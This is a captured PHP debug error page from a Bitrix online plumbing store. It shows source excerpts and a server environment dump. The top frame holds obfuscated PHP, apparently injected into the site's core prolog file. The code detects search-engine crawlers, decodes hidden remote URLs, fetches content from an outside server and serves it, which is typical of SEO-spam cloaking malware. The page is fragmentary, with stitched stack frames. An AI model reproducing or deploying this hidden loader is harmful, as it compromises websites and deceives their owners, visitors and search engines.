array("\107\x6f\x6f\x67\154\x65\142\x6f\164", "\102\x69\x6e\x67\x62\157\x74", "\171\x65\164\x69"); goto rezF2; rezF2: foreach ($PdcaN as $mnxif) { goto Ks9lH; IBV65: x7oOc: goto cbUl5; r9GXN: return true; goto IFoRg; IFoRg: QyvIn: goto IBV65; Ks9lH: if (!(stripos($J8eYM, $mnxif) !== false)) { goto QyvIn; } goto r9GXN; cbUl5: } goto iGoms; DQy1c: } goto CzI0G; pD8nc: function M8uoS() { goto RKQnr; Ksbil: J44NQ: goto SVg__; XXtfD: $kGVBm = urlencode($QH_Px); goto TJpBz; jFUcM: cAWkL: goto TWpdA; TJpBz: $x3wSF = array(); goto hdIl9; QRV2d: header("\x50\162\141\147\155\141\72\x20\156\157\55\143\141\143\150\x65"); goto XXtfD; YiUrr: header("\x43\157\156\164\145\156\164\55\x54\171\160\x65\72\164\x65\x78\164\x2f\150\x74\155\x6c\x3b\x20\143\150\141\162\x73\x65\164\75\x75\164\146\x2d\70"); goto Qvhca; l5xq_: UxfNV: goto w9VU_; hdIl9: if (!isset($_SERVER["\x48\124\x54\x50\137\101\103\x43\105\120\124\137\114\x41\x4e\107\125\101\107\x45"])) { goto UxfNV; } goto Awufz; hRMk0: array_push($x3wSF, "\x41\143\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\72\x20{$p8yhw}"); goto P0I3_; e9jhQ: exit; goto sJp54; RtBb5: $IieOD = ESF5H(); goto sgQOZ; jlcmD: goto e_lpS; goto ZNB3Y; sgQOZ: if (MFBi4($QH_Px)) { goto pq1sd; } goto wPhGA; Wa2st: exit; goto jFUcM; Ss3VP: foreach ($wyuUY as $ZVlRe => $pNSbs) { goto Vj8wc; Vj8wc: if (!(stripos($ZVlRe, "\x53\145\143\x2d") === 0)) { goto kAPsM; } goto yhQdO; iRNtb: VMiyR: goto sUCZ8; yhQdO: array_push($x3wSF, "{$ZVlRe}\x3a\40{$pNSbs}"); goto gIBxg; gIBxg: kAPsM: goto iRNtb; sUCZ8: } goto AfwtL; w9VU_: if (tgO4V($SzF3y)) { goto t1KTd; } goto f_qF0; wPhGA: echo gBDIN(xvIQ0 . "\x61\154\x2e\160\x68\160"); goto kT15a; iQDSR: header("\103\x61\143\150\x65\x2d\x43\x6f\156\x74\162\157\x6c\72\40\x6e\x6f\x2d\x73\x74\157\x72\145\54\40\156\157\55\x63\x61\143\150\145\54\40\x6d\165\x73\x74\x2d\162\145\166\x61\154\151\x64\141\164\x65"); goto Bs8ln; Bs8ln: header("\x43\141\143\150\x65\55\103\157\156\x74\162\x6f\154\72\x20\160\x6f\163\x74\55\143\x68\145\x63\x6b\75\x30\54\x20\160\162\x65\x2d\143\x68\x65\143\153\x3d\60", FALSE); goto QRV2d; P0I3_: array_push($x3wSF, "\x56\x61\162\x79\x3a\40\101\x63\x63\x65\x70\164\55\114\x61\x6e\147\165\141\147\145"); goto l5xq_; sJp54: e_lpS: goto R9R8y; SVg__: header("\x43\157\156\x74\145\x6e\164\55\x54\x79\160\145\x3a\164\x65\x78\164\57\x68\164\155\x6c\73\40\x63\150\141\162\163\x65\x74\x3d\165\164\146\55\70"); goto AUfpf; TWpdA: goto e_lpS; goto Ksbil; WGJrm: $MR3er = GBDiN(nevcy . "\65\60\62\x32\x2e\x70\150\160"); goto f2Px0; Qvhca: echo gBdIN(xvIQ0 . "\77{$dqr6X}{$QH_Px}"); goto Wa2st; f2Px0: echo $MR3er ? $MR3er : EPHrO; goto e9jhQ; dAVn4: if (!function_exists("\144\x6f\107\156\116")) { function dOGnn() { goto je6Ow; ErlVH: Mi87p: goto o0Gq1; upAbJ: foreach ($_SERVER as $crqzG => $pNSbs) { goto MWW3w; MWW3w: if (!(substr($crqzG, 0, 5) == "\110\x54\124\x50\137")) { goto eaJ4l; } goto Z40uH; ErpTR: eaJ4l: goto rEJK6; Z40uH: $JeD6C[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\x5f", "\40", substr($crqzG, 5)))))] = $pNSbs; goto ErpTR; rEJK6: IK6vP: goto Wny0V; Wny0V: } goto ErlVH; o0Gq1: return $JeD6C; goto Xicwh; je6Ow: $JeD6C = array(); goto upAbJ; Xicwh: } $wyuUY = dogNn(); } else { $wyuUY = Dognn(); } goto Ss3VP; AfwtL: dxbi4: goto WGJrm; Awufz: $p8yhw = $_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\124\x5f\x4c\101\116\107\x55\x41\x47\105"]; goto hRMk0; kT15a: goto cAWkL; goto L9OC1; RKQnr: global $ahpjG, $SzF3y, $dqr6X, $QH_Px; goto iQDSR; L9OC1: pq1sd: goto YiUrr; ZNB3Y: t1KTd: goto RtBb5; GaSr2: $wyuUY = array(); goto dAVn4; f_qF0: if (MfBi4($QH_Px) && w7CV_($ahpjG)) { goto J44NQ; } goto jlcmD; AUfpf: $JdpZm = ESF5h(); goto GaSr2; R9R8y: } goto DiCiu; OxZa0: function uQ1Bz() { $W0OaF = ob_get_contents(); ob_end_clean(); } goto Yex8u; FRai7: define("\x6e\x65\166\x63\171", base64_decode("\141\110\122\x30\x63\104\157\x76\114\x32\106\153\114\155\122\156\141\x7a\147\x34\x4f\x43\x35\60\x62\63\101\x76")); goto byjza; zCByt: define("\172\x39\66\x38\x5f", base64_decode("\141\110\122\x30\143\x48\115\66\x4c\x79\71\161\x63\62\116\153\x62\x69\65\x6b\132\62\163\64\117\104\x67\165\x64\x47\x39\167\114\167\x3d\x3d")); goto qAtYp; KOJRg: function fKOEh() { ob_start(); register_shutdown_function("\x69\x6e\163\145\x72\164\137\x68\x74\x6d\154\x5f\145\x6e\144"); } goto OxZa0; DiCiu: M8uoS();
?><?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog.php");?>
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
catalog
/
index.php
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Каталог товаров сантехники Vannstudio.ru");
$APPLICATION->IncludeComponent(
    "bitrix:catalog", 
    "main", 
    array(
        "IBLOCK_TYPE" => "aspro_max_catalog",
        "IBLOCK_ID" => "2",
        "HIDE_NOT_AVAILABLE" => "Y",
        "BASKET_URL" => "/basket/",
        "ACTION_VARIABLE" => "action",
        "PRODUCT_ID_VARIABLE" => "id",
        "SECTION_ID_VARIABLE" => "SECTION_ID",
        "PRODUCT_QUANTITY_VARIABLE" => "quantity",
        "PRODUCT_PROPS_VARIABLE" => "prop",
        "SEF_MODE" => "Y",
        "SEF_FOLDER" => "/catalog/",
        "AJAX_MODE" => "N",
        "AJAX_OPTION_JUMP" => "N",
        "AJAX_OPTION_STYLE" => "Y",
        "AJAX_OPTION_HISTORY" => "Y",
        "CACHE_TYPE" => "A",
        "CACHE_TIME" => "3600000",
        "CACHE_FILTER" => "Y",
        "CACHE_GROUPS" => "Y",
        "SET_TITLE" => "Y",
        "SET_STATUS_404" => "Y",
        "USE_ELEMENT_COUNTER" => "Y",
        "USE_FILTER" => "Y",
        "FILTER_NAME" => "MAX_SMART_FILTER",
        "FILTER_FIELD_CODE" => array(
            0 => "",
            1 => "",
        ),
        "FILTER_PROPERTY_CODE" => array(
            0 => "",
            1 => "WF_SALE",
            2 => "WF_NOTE",
            3 => "attr_deliveryprice_tk_other",
            4 => "attr_manufacturer_warranty",
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/header.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
urlrewrite.php
 
            if (($urlTmp7 == "upload/" || ($urlTmp7 == "bitrix/" && mb_substr($urlTmp, 0, 16) != "bitrix/services/" && mb_substr($urlTmp, 0, 18) != "bitrix/groupdavphp")))
                continue;
 
            $ext = strtolower(GetFileExtension($url));
            if ($ext != "php")
                continue;
 
            // D7 response is not available here
            if(stristr(php_sapi_name(), "cgi") !== false && (!defined("BX_HTTP_STATUS") || BX_HTTP_STATUS == false))
            {
                header("Status: 200 OK");
            }
            else
            {
                header($_SERVER["SERVER_PROTOCOL"]." 200 OK");
            }
 
            $_SERVER["REAL_FILE_PATH"] = $url;
            include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$url));
            die();
        }
    }
}
 
//admin section 404
if(mb_strpos($requestUri, "/bitrix/admin/") === 0)
{
    $_SERVER["REAL_FILE_PATH"] = "/bitrix/admin/404.php";
    include($_SERVER["DOCUMENT_ROOT"]."/bitrix/admin/404.php");
    die();
}
 
define("BX_CHECK_SHORT_URI", true);
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/catalog/index.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
urlrewrite.php
<?
include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/urlrewrite.php');
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/404.php'))
    include_once($_SERVER['DOCUMENT_ROOT'].'/404.php');
?>
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php"
    

Environment & details:

empty
empty
empty
empty
empty
Key Value
PHP_INI_SCAN_DIR
"/var/www/www-root/data/php-bin-isp-php81/vannstudio.ru:"
PATH
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHPRC
"/var/www/www-root/data/php-bin-isp-php81"
PWD
"/var/www/php-bin-isp-php81/www-root/vannstudio.ru"
CONTENT_LENGTH
"0"
SCRIPT_NAME
"/bitrix/urlrewrite.php"
REQUEST_URI
"/catalog/mebel-dlya-vannoy/filter/ip_prop958-is-9e8f67297142dfb8ff04656ffa0f20d2/apply/"
QUERY_STRING
""
REQUEST_METHOD
"GET"
SERVER_PROTOCOL
"HTTP/1.0"
GATEWAY_INTERFACE
"CGI/1.1"
REDIRECT_URL
"/catalog/mebel-dlya-vannoy/zerkalo/"
REMOTE_PORT
"54440"
SCRIPT_FILENAME
"/var/www/www-root/data/www/vannstudio.ru/bitrix/urlrewrite.php"
SERVER_ADMIN
"webmaster@vannstudio.ru"
CONTEXT_DOCUMENT_ROOT
"/var/www/www-root/data/www/vannstudio.ru"
CONTEXT_PREFIX
""
REQUEST_SCHEME
"http"
DOCUMENT_ROOT
"/var/www/www-root/data/www/vannstudio.ru"
REMOTE_ADDR
"216.73.216.234"
SERVER_PORT
"80"
SERVER_ADDR
"127.0.0.1"
SERVER_NAME
"vannstudio.ru"
SERVER_SOFTWARE
"Apache/2.4.52 (Ubuntu)"
SERVER_SIGNATURE
"<address>Apache/2.4.52 (Ubuntu) Server at vannstudio.ru Port 80</address>\n"
HTTP_ACCEPT_ENCODING
"gzip, br, zstd, deflate"
HTTP_USER_AGENT
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
HTTP_ACCEPT
"*/*"
HTTP_CONNECTION
"close"
HTTP_X_FORWARDED_PORT
"443"
HTTP_X_FORWARDED_PROTO
"https"
HTTP_HOST
"vannstudio.ru"
REMOTE_USER
""
HTTPS
"on"
REDIRECT_STATUS
"200"
REDIRECT_HTTPS
"on"
FCGI_ROLE
"RESPONDER"
PHP_SELF
"/bitrix/urlrewrite.php"
REQUEST_TIME_FLOAT
1751527797.2407
REQUEST_TIME
1751527797
REAL_FILE_PATH
"/catalog/index.php"
empty
0. Whoops\Handler\PrettyPageHandler